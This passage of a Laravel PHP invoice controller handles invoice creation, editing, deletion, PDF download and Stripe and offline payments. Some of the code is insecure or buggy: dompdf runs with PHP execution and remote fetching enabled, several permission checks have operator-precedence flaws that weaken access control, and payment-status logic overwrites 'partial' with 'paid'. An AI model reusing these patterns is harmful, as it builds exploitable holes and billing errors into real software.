$stockAdjustment[$productId] = 0; } $stockAdjustment[$productId] += $quantity[$key];} } } $check = []; $invoiceItems = InvoiceItems::whereHas('invoice', function ($invoiceQuery) { $invoiceQuery->where('status', 'unpaid'); })->get(); foreach ($stockAdjustment as $index => $quantityCount) { $commitedStock = $invoiceItems->filter(function ($value, $key) use ($index) { return $value->product_id == $index; })->sum('quantity'); $quantity = PurchaseStockAdjustment::where('product_id', $index)->sum('net_quantity'); if (($quantity - $commitedStock) < $quantityCount) { $check[] = $index; } } if(!empty($check)) { return Reply::dataOnly(['status' => 'error', 'data' => $check, 'showValue' => true, 'title' => $this->pageTitle]); } } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('invoices.index'); } $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (empty($items)) { return Reply::error(__('messages.addItem')); } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } $invoice = new Invoice(); $invoice->project_id = $request->project_id ?? null; $invoice->client_id = ($request->client_id) ?: null; $invoice->issue_date = companyToYmd($request->issue_date); $invoice->due_date = companyToYmd($request->due_date); $invoice->sub_total = round($request->sub_total, 2); $invoice->discount = round($request->discount_value, 2); $invoice->discount_type = $request->discount_type; $invoice->total = round($request->total, 2); $invoice->due_amount = round($request->total, 2); $invoice->currency_id = $request->currency_id; $invoice->default_currency_id = company()->currency_id; $invoice->exchange_rate = $request->exchange_rate; $invoice->recurring = 'no'; $invoice->billing_frequency = $request->recurring_payment == 'yes' ? $request->billing_frequency : null; $invoice->billing_interval = $request->recurring_payment == 'yes' ? $request->billing_interval : null; $invoice->billing_cycle = $request->recurring_payment == 'yes' ? $request->billing_cycle : null; $invoice->note = trim_editor($request->note); $invoice->show_shipping_address = $request->show_shipping_address; $invoice->invoice_number = $request->invoice_number; $invoice->company_address_id = $request->company_address_id; $invoice->estimate_id = $request->estimate_id ? $request->estimate_id : null; $invoice->bank_account_id = $request->bank_account_id; $invoice->payment_status = $request->payment_status == null ? '0' : $request->payment_status; $invoice->invoice_payment_id = $request->invoice_payment_id; $invoice->save(); // To add custom fields data if ($request->custom_fields_data) { $invoice->updateCustomFieldData($request->custom_fields_data); } if ($request->estimate_id) { $estimate = Estimate::findOrFail($request->estimate_id); $estimate->status = 'accepted'; $estimate->save(); } if ($request->proposal_id) { $proposal = Proposal::findOrFail($request->proposal_id); $proposalData = [ 'invoice_convert' => 1, ]; if ($proposal->signature) { $proposalData['status'] = 'accepted'; } Proposal::where('id', $request->proposal_id)->update($proposalData); } if ($request->has('shipping_address') || $request->has('billing_address')) { if ($invoice->project_id != null && $invoice->project_id != '') { $client = $invoice->project->clientdetails; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $client = $invoice->clientdetails; } if (isset($client)) { if(isset($request->shipping_address)){ $client->shipping_address = $request->shipping_address; } if(isset($request->billing_address)){ $client->address = $request->billing_address; } $client->save(); } } // Set milestone paid if converted milestone to invoice if ($request->milestone_id != '') { $milestone = ProjectMilestone::findOrFail($request->milestone_id); $milestone->invoice_created = 1; $milestone->invoice_id = $invoice->id; $milestone->save(); } // Set invoice id in timelog if ($request->has('timelog_from') && $request->timelog_from != '' && $request->has('timelog_to') && $request->timelog_to != '') { $timelogFrom = companyToYmd($request->timelog_from); $timelogTo = companyToYmd($request->timelog_to); $this->timelogs = ProjectTimeLog::where('project_time_logs.project_id', $request->project_id) ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->where('project_time_logs.earnings', '>', 0) ->where('project_time_logs.approved', 1) ->where( function ($query) { $query->where('tasks.billable', 1) ->orWhereNull('tasks.billable'); } ) ->whereDate('project_time_logs.start_time', '>=', $timelogFrom) ->whereDate('project_time_logs.end_time', '<=', $timelogTo) ->update(['invoice_id' => $invoice->id]); } // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); if (user()) { self::createEmployeeActivity($userId, 'invoice-created', $invoice->id, 'invoice'); } if ($invoice->send_status == 1) { return Reply::successWithData(__('messages.invoiceSentSuccessfully'), ['redirectUrl' => $redirectUrl, 'invoiceID' => $invoice->id]); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl, 'invoiceID' => $invoice->id]); } public function committedModal(Request $request) { $productIds = $request->products; $productIDsArray = explode(',', $productIds); $this->products = PurchaseProduct::whereIn('id', $productIDsArray)->get(); return view('invoices.ajax.comitted_model', $this->data); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_invoices') != 'all'); $items = explode(',', $request->row_ids); foreach ($items as $id) { $firstInvoice = Invoice::orderBy('id', 'desc')->first(); if ($firstInvoice->id == $id) { if (CreditNotes::where('invoice_id', $id)->exists()) { CreditNotes::where('invoice_id', $id)->update(['invoice_id' => null]); } Invoice::destroy($id); return Reply::success(__('messages.deleteSuccess')); } else { return Reply::error(__('messages.invoiceCanNotDeleted')); } } } public function destroy($id) { $firstInvoice = Invoice::orderBy('id', 'desc')->first(); $invoice = Invoice::findOrFail($id); $this->deletePermission = user()->permission('delete_invoices'); $userId = UserService::getUserId(); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $invoice->added_by == $userId || $invoice->added_by == user()->id) || ($this->deletePermission == 'owned' && $invoice->client_id == $userId) || ($this->deletePermission == 'both' && ($invoice->client_id == $userId) || ($invoice->added_by == $userId || $invoice->added_by == user()->id)) )); if ($firstInvoice->id == $id) { if (CreditNotes::where('invoice_id', $id)->exists()) { CreditNotes::where('invoice_id', $id)->update(['invoice_id' => null]); } Invoice::destroy($id); return Reply::success(__('messages.deleteSuccess')); } else { return Reply::error(__('messages.invoiceCanNotDeleted')); } } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->invoice = Invoice::with('project', 'items', 'items.unit')->findOrFail($id)->withCustomFields(); $userId = UserService::getUserId(); $getCustomFieldGroupsWithFields = $this->invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->viewPermission = user()->permission('view_invoices'); $this->company = $this->invoice->company; $viewProjectInvoicePermission = user()->permission('view_project_invoices'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && ($this->invoice->added_by == $userId || $this->invoice->added_by == user()->id)) || ($this->viewPermission == 'owned' && $this->invoice->client_id == $userId) || ($viewProjectInvoicePermission == 'owned' && $this->invoice->project_id && $this->invoice->project->client_id == $userId) )); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); // Download file uploaded if ($this->invoice->file != null && request()->has('download-uploaded')) { return response()->download(storage_path('app/public/invoice-files') . '/' . $this->invoice->file); } $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return request()->view ? $pdf->stream($filename . '.pdf') : $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoice = Invoice::with('items', 'items', 'items.unit')->findOrFail($id)->withCustomFields(); $this->invoiceSetting = InvoiceSetting::withoutGlobalScopes()->where('company_id', $this->invoice->company_id)->first(); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->paidAmount = $this->invoice->getPaidAmount(); $this->creditNote = 0; $getCustomFieldGroupsWithFields = $this->invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } if ($this->invoice->credit_note) { $this->creditNote = CreditNotes::where('invoice_id', $id) ->select('cn_number') ->first(); } $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } $taxList = array(); $items = InvoiceItems::whereNotNull('taxes')->where('invoice_id', $this->invoice->id)->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; $this->payments = Payment::with(['offlineMethod'])->where('invoice_id', $this->invoice->id)->where('status', 'complete')->orderByDesc('paid_on')->get(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); // $pdf->loadView('invoices.pdf.' . $this->invoiceSetting->template, $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('invoices.pdf.' . $this->invoiceSetting->template, $this->data)->render()); $filename = $this->invoice->invoice_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function domPdfObjectForConsoleDownload($id) { $this->invoice = Invoice::with('items')->findOrFail($id); $this->paidAmount = $this->invoice->getPaidAmount(); $this->creditNote = 0; if ($this->invoice->credit_note) { $this->creditNote = CreditNotes::where('invoice_id', $id) ->select('cn_number') ->first(); } if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; $this->payments = Payment::with(['offlineMethod'])->where('invoice_id', $this->invoice->id)->where('status', 'complete')->orderByDesc('paid_on')->get(); $this->defaultAddress = CompanyAddress::where('is_default', 1)->where('company_id', $this->invoice->company_id)->first(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); // Hide $pdf->loadView('invoices.pdf.invoice-recurring', $this->data); $pdf->loadView('invoices.pdf.' . $this->invoiceSetting->template, $this->data); $filename = $this->invoice->invoice_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function edit($id) { $this->invoice = Invoice::with('client', 'client.projects', 'items', 'items.invoiceItemImage')->findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_invoices'); $this->invoiceSetting = invoice_setting(); $this->userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->invoice->added_by == $this->userId || $this->invoice->added_by == user()->id)) || ($this->editPermission == 'owned' && $this->invoice->client_id == $this->userId) || ($this->editPermission == 'both' && ($this->invoice->client_id == $this->userId || $this->invoice->added_by == $this->userId || $this->invoice->added_by == user()->id)) )); abort_403($this->invoice->status == 'paid' && $this->invoice->amountPaid() > 0); $this->pageTitle = $this->invoice->invoice_number; $this->isClient = User::isClient($this->userId); if ($this->isClient) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($this->userId); } $getCustomFieldGroupsWithFields = $this->invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->projects = Project::whereNotNull('client_id')->get(); $this->currencies = Currency::all(); $this->categories = ProductCategory::all(); $this->units = UnitType::all(); $this->taxes = Tax::all(); $this->products = Product::all(); $this->clients = User::allClients(); $this->linkInvoicePermission = user()->permission('link_invoice_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->paymentGateway = PaymentGatewayCredentials::first(); $this->methods = OfflinePaymentMethod::all(); $this->invoicePayments = InvoicePaymentDetail::all(); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $this->invoice->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', $this->userId); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); if ($this->invoice->project_id != '') { $companyName = Project::where('id', $this->invoice->project_id)->with('clientdetails')->first(); $this->companyName = isset($companyName) ? ($companyName->clientdetails ? $companyName->clientdetails->company_name : '') : ''; } $this->companyAddresses = CompanyAddress::all(); if (request()->ajax()) { $html = view('invoices.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'invoices.ajax.edit'; return view('invoices.create', $this->data); } public function update(UpdateInvoice $request, $id) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $product = $request->product_id; $amount = $request->amount; $userId = UserService::getUserId(); if (module_enabled('Purchase') && in_array('purchase', user_modules()) && $request->do_it_later == 'direct') { $stockAdjustment = []; if (is_array($product)) { $serviceProductIds = Product::whereIn('id', $product)->where('type', 'service')->pluck('id')->toArray(); $nonServiceProductIds = array_diff($product, $serviceProductIds); foreach ($nonServiceProductIds as $key => $productId) { if (!is_null($productId)) { if(!isset($stockAdjustment[$productId])){ $stockAdjustment[$productId] = 0; } $stockAdjustment[$productId] += $quantity[$key];} } } $check = []; $invoiceItems = InvoiceItems::whereHas('invoice', function ($invoiceQuery) { $invoiceQuery->where('status', 'unpaid'); })->get(); foreach ($stockAdjustment as $index => $quantityCount) { $commitedStock = $invoiceItems->filter(function ($value, $key) use ($index) { return $value->product_id == $index; })->sum('quantity'); $qty = PurchaseStockAdjustment::where('product_id', $index)->sum('net_quantity'); $productQuantity = InvoiceItems::select('quantity')->where('invoice_id', $id)->first(); $productQty = $productQuantity->quantity; $remainingStock = $commitedStock - $productQty; if (($remainingStock + $quantityCount) > $qty) { $check[] = $index; } } if(!empty($check && $productId)) { return Reply::dataOnly(['status' => 'error', 'data' => $check, 'showValue' => true, 'title' => $this->pageTitle]); } } foreach ($quantity as $qty) { if (!is_numeric($qty) && $qty < 1) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $invoice = Invoice::findOrFail($id); $invoice->project_id = $request->project_id ?? null; $invoice->client_id = ($request->client_id) ? $request->client_id : null; $invoice->issue_date = companyToYmd($request->issue_date); $invoice->due_date = companyToYmd($request->due_date); $invoice->sub_total = round($request->sub_total, 2); $invoice->discount = round($request->discount_value, 2); $invoice->discount_type = $request->discount_type; $invoice->total = round($request->total, 2); $invoice->due_amount = round($request->total, 2); $invoice->currency_id = $request->currency_id; $invoice->default_currency_id = company()->currency_id; $invoice->exchange_rate = $request->exchange_rate; if ($request->has('status')) { $invoice->status = $request->status; } $invoice->recurring = $request->recurring_payment; $invoice->billing_frequency = $request->recurring_payment == 'yes' ? $request->billing_frequency : null; $invoice->billing_interval = $request->recurring_payment == 'yes' ? $request->billing_interval : null; $invoice->billing_cycle = $request->recurring_payment == 'yes' ? $request->billing_cycle : null; $invoice->note = trim_editor($request->note); $invoice->show_shipping_address = $request->show_shipping_address; $invoice->invoice_number = $request->invoice_number; $invoice->company_address_id = $request->company_address_id; $invoice->bank_account_id = $request->bank_account_id; $invoice->payment_status = $request->payment_status == null ? '0' : $request->payment_status; $invoice->invoice_payment_id = $request->invoice_payment_id; $invoice->save(); // To add custom fields data if ($request->custom_fields_data) { $invoice->updateCustomFieldData($request->custom_fields_data); } if ($request->has('shipping_address') || $request->has('billing_address')) { if ($invoice->project_id != null && $invoice->project_id != '') { $client = $invoice->project->clientdetails; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $client = $invoice->clientdetails; } if (isset($client)) { $client->shipping_address = $request->shipping_address; $client->address = $request->billing_address; $client->save(); } } if (user()) { self::createEmployeeActivity($userId, 'invoice-updated', $invoice->id, 'invoice'); } $redirectUrl = route('invoices.index'); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl, 'invoiceID' => $invoice->id]); } public function show($id) { $this->invoice = Invoice::with('project', 'items', 'items.unit', 'items.invoiceItemImage', 'invoicePaymentDetail')->findOrFail($id)->withCustomFields(); /* Used for cancel invoice condition */ $this->firstInvoice = Invoice::orderBy('id', 'desc')->first(); $this->userId = UserService::getUserId(); $this->viewPermission = user()->permission('view_invoices'); $this->deletePermission = user()->permission('delete_invoices'); $viewProjectInvoicePermission = user()->permission('view_project_invoices'); $this->addInvoicesPermission = user()->permission('add_invoices'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && ($this->invoice->added_by == $this->userId || $this->invoice->added_by == user()->id)) || ($this->viewPermission == 'owned' && $this->invoice->client_id == $this->userId && $this->invoice->send_status) || ($this->viewPermission == 'both' && ($this->invoice->added_by == $this->userId || $this->invoice->added_by == user()->id || $this->invoice->client_id == $this->userId)) || ($viewProjectInvoicePermission == 'owned' && $this->invoice->client_id == $this->userId && $this->invoice->send_status) )); $getCustomFieldGroupsWithFields = $this->invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->paidAmount = $this->invoice->getPaidAmount(); $this->pageTitle = $this->invoice->invoice_number; $this->firstInvoice = Invoice::orderBy('id', 'desc')->first(); $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } if($this->invoice->discount_type == 'percent') { $discountAmount = $this->invoice->discount; $this->discountType = $discountAmount.'%'; }else { $discountAmount = $this->invoice->discount; $this->discountType = currency_format($discountAmount, $this->invoice->currency_id); } $taxList = array(); $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->payments = Payment::with(['offlineMethod'])->where('invoice_id', $this->invoice->id)->where('status', 'complete')->orderByDesc('paid_on')->get(); $this->settings = company(); $this->invoiceSetting = invoice_setting(); $this->creditNote = 0; $this->credentials = PaymentGatewayCredentials::first(); $this->methods = OfflinePaymentMethod::activeMethod(); if(in_array('client', user_roles())) { $lastViewed = now(); $ipAddress = request()->ip(); $this->invoice->last_viewed = $lastViewed; $this->invoice->ip_address = $ipAddress; $this->invoice->save(); } return view('invoices.show', $this->data); } public function approveOfflineInvoice($invoiceID) { $invoice = Invoice::with(['project', 'project.client', 'payment'])->findOrFail($invoiceID); if($invoice){ $payment = Payment::findOrFail($invoice->payment[0]->id); if ($invoice->status == 'pending-confirmation') { $invoiceAmt = (float)($invoice->total); $paymentAmt = (float)($payment->amount); if($invoiceAmt > $paymentAmt){ $invoice->status = 'partial'; } $invoice->status = 'paid'; } $invoice->save(); $payment->bank_account_id = $invoice->bank_account_id; $payment->status = 'complete'; $payment->save(); if ($invoice->project_id != null && $invoice->project_id != '') { $notifyUser = $invoice->project->client; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $notifyUser = $invoice->client; } if (isset($notifyUser) && !is_null($notifyUser) ) { event(new NewPaymentEvent($payment, $notifyUser)); } return Reply::success(__('messages.offlineInvoiceApproved')); } } public function sendInvoice($invoiceID) { $invoice = Invoice::with(['project', 'project.client'])->findOrFail($invoiceID); if ($invoice->project_id != null && $invoice->project_id != '') { $notifyUser = $invoice->project->client; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $notifyUser = $invoice->client; } if (isset($notifyUser) && !is_null($notifyUser) && request()->data_type != 'mark_as_send') { event(new NewInvoiceEvent($invoice, $notifyUser)); } $invoice->send_status = 1; if ($invoice->status == 'draft') { $invoice->status = 'unpaid'; } $invoice->save(); if(request()->data_type == 'mark_as_send'){ return Reply::success(__('messages.invoiceMarkAsSent')); } else { return Reply::success(__('messages.invoiceSentSuccessfully')); } } public function remindForPayment($id) { $invoice = Invoice::with(['project', 'project.client'])->findOrFail($id); if ($invoice->project_id != null && $invoice->project_id != '') { $notifyUser = $invoice->project->client; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $notifyUser = $invoice->client; } if (isset($notifyUser) && !is_null($notifyUser)) { event(new PaymentReminderEvent($invoice, $notifyUser)); } return Reply::success('messages.reminderMailSuccess'); } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if($exchangeRate->exchange_rate == $request->exchangeRate){ $exRate = $exchangeRate->exchange_rate; }else{ $exRate = floatval($request->exchangeRate ?: 1); } if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate) && $exchangeRate->exchange_rate > 0) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount / $exRate); } else { $this->items->price = floatval($this->items->price) / floatval($exRate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function appliedCredits(Request $request, $id) { $this->invoice = Invoice::with('payment', 'payment.creditNote')->findOrFail($id); $this->pageTitle = __('app.menu.payments'); $this->payments = $this->invoice->payment->filter(function ($payment) { return $payment->status === 'complete'; }); if (request()->ajax()) { $html = view('invoices.ajax.applied_credits', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'invoices.ajax.applied_credits'; return view('invoices.create', $this->data); } public function deleteAppliedCredit(Request $request, $id) { $this->invoice = Invoice::with('payment', 'payment.creditNote')->findOrFail($request->invoice_id); $payment = Payment::with('creditNote', 'invoice')->findOrFail($id); $payment->delete(); $creditNote = CreditNotes::find($payment->credit_notes_id); // Change credit note status if (isset($creditNote) && $creditNote->status == 'closed') { $creditNote->status = 'open'; $creditNote->save(); } $this->payments = $this->invoice->payment; if (request()->ajax()) { $view = view('invoices.ajax.applied_credits', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view, 'remainingAmount' => number_format((float)$this->invoice->amountDue(), 2, '.', '')]); } return Reply::redirect(route('invoices.show', [$this->invoice->id]), __('messages.deleteSuccess')); } public function paymentDetail($invoiceID) { $this->invoice = Invoice::findOrFail($invoiceID); $this->pageTitle = __('app.menu.payments'); if (request()->ajax()) { $html = view('invoices.ajax.payment-details', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'invoices.ajax.payment-details'; return view('invoices.create', $this->data); } public function fileUpload() { $this->invoiceId = request('invoice_id'); return view('invoices.file_upload', $this->data); } public function storeFile(InvoiceFileStore $request) { $invoiceId = $request->invoice_id; $file = $request->file('file'); $newName = $file->hashName(); // Setting hashName name // Getting invoice data $invoice = Invoice::findOrFail($invoiceId); if ($invoice != null) { if ($invoice->file != null) { unlink(storage_path('app/public/invoice-files') . '/' . $invoice->file); } $file->move(storage_path('app/public/invoice-files'), $newName); $invoice->file = $newName; $invoice->file_original_name = $file->getClientOriginalName(); // Getting uploading file name; $invoice->save(); return Reply::success('messages.fileUploadedSuccessfully'); } return Reply::error(__('messages.fileUploadIssue')); } public function stripeModal(Request $request) { $this->invoiceID = $request->invoice_id; $this->countries = countries(); return view('invoices.stripe.index', $this->data); } public function saveStripeDetail(StoreStripeDetail $request) { $id = $request->invoice_id; $this->invoice = Invoice::with(['client', 'project', 'project.client'])->findOrFail($id); $this->settings = $this->company; $this->credentials = PaymentGatewayCredentials::first(); $client = null; if (!is_null($this->invoice->client_id)) { $client = $this->invoice->client; } else if (!is_null($this->invoice->project_id) && !is_null($this->invoice->project->client_id)) { $client = $this->invoice->project->client; } if (($this->credentials->test_stripe_secret || $this->credentials->live_stripe_secret) && !is_null($client)) { Stripe::setApiKey($this->credentials->stripe_mode == 'test' ? $this->credentials->test_stripe_secret : $this->credentials->live_stripe_secret); $totalAmount = $this->invoice->amountDue(); $customer = \Stripe\Customer::create([ 'email' => $client->email, 'name' => $request->clientName, 'address' => [ 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ], ]); $intent = \Stripe\PaymentIntent::create([ 'amount' => $totalAmount * 100, 'currency' => $this->invoice->currency->currency_code, 'customer' => $customer->id, 'setup_future_usage' => 'off_session', 'payment_method_types' => ['card'], 'description' => $this->invoice->invoice_number . ' Payment', 'metadata' => ['integration_check' => 'accept_a_payment', 'invoice_id' => $id] ]); $this->intent = $intent; } $customerDetail = [ 'email' => $client->email, 'name' => $request->clientName, 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ]; $this->customerDetail = $customerDetail; $view = view('invoices.stripe.stripe-payment', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'intent' => $this->intent]); } public function offlinePaymentModal(Request $request) { $this->invoiceID = $request->invoice_id; $this->methods = OfflinePaymentMethod::activeMethod(); $this->invoice = Invoice::findOrFail($this->invoiceID); return view('invoices.offline.index', $this->data); } public function storeOfflinePayment(InvoicePayment $request) { $returnUrl = ''; if (isset($request->invoiceID)) { $invoiceId = $request->invoiceID; $invoice = Invoice::findOrFail($request->invoiceID); $returnUrl = route('invoices.show', $invoiceId); } if (isset($request->orderID)) { $order = Order::findOrFail($request->orderID); $returnUrl = route('orders.show', $request->orderID); } $clientPayment = new Payment(); $clientPayment->currency_id = isset($invoice) ? $invoice->currency_id : $order->currency_id; $clientPayment->invoice_id = isset($invoice) ? $invoice->id: null; $clientPayment->project_id = isset($invoice) ? $invoice->project_id : null; $clientPayment->order_id = $request->orderID; $clientPayment->amount = isset($invoice) ? $invoice->total : $order->total; $clientPayment->offline_method_id = ($request->offlineMethod != 'all') ? $request->offlineMethod : null; $clientPayment->gateway = 'Offline'; $clientPayment->status = 'pending'; $clientPayment->paid_on = now(); if ($request->hasFile('bill')) { $clientPayment->bill = $request->bill->hashName(); $request->bill->store(Payment::FILE_PATH); } $clientPayment->save(); if(isset($invoice)){ $invoice->status = 